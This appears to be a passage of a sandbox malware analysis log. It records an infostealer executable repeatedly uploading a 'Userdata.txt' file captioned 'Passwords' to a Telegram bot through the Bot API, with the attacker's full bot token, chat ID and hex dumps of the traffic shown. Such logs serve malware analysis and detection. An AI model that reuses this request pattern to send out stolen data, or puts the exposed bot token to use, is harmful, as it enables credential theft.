2025-01-10 20:41:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 33 38 38 33 38 34 64 36 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33388384d681Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:53 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:53 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44682,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541713,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50001	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:54 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd335177883a2d Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 35 31 37 37 38 38 33 61 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd335177883a2dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:55 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:55 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44684,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541715,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50014	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:56 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd336907e6a9ae Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 39 30 37 65 36 61 39 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd336907e6a9aeContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:56 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:56 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44686,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541716,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50022	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:58 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd337f3852d690 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 37 66 33 38 35 32 64 36 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd337f3852d690Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:58 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:58 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44689,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541718,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50024	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:00 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd339d20965d7c Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 39 64 32 30 39 36 35 64 37 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd339d20965d7cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:00 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:00 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44691,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541720,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50026	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:02 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33c3fda625b7 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:02 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 63 33 66 64 61 36 32 35 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33c3fda625b7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:03 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:03 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44693,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541723,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50028	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:04 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33e6d407da33 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 65 36 64 34 30 37 64 61 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33e6d407da33Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:05 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:05 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44695,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541725,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50030	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:07 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3413d20af3d8 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:07 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 31 33 64 32 30 61 66 33 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3413d20af3d8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:07 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
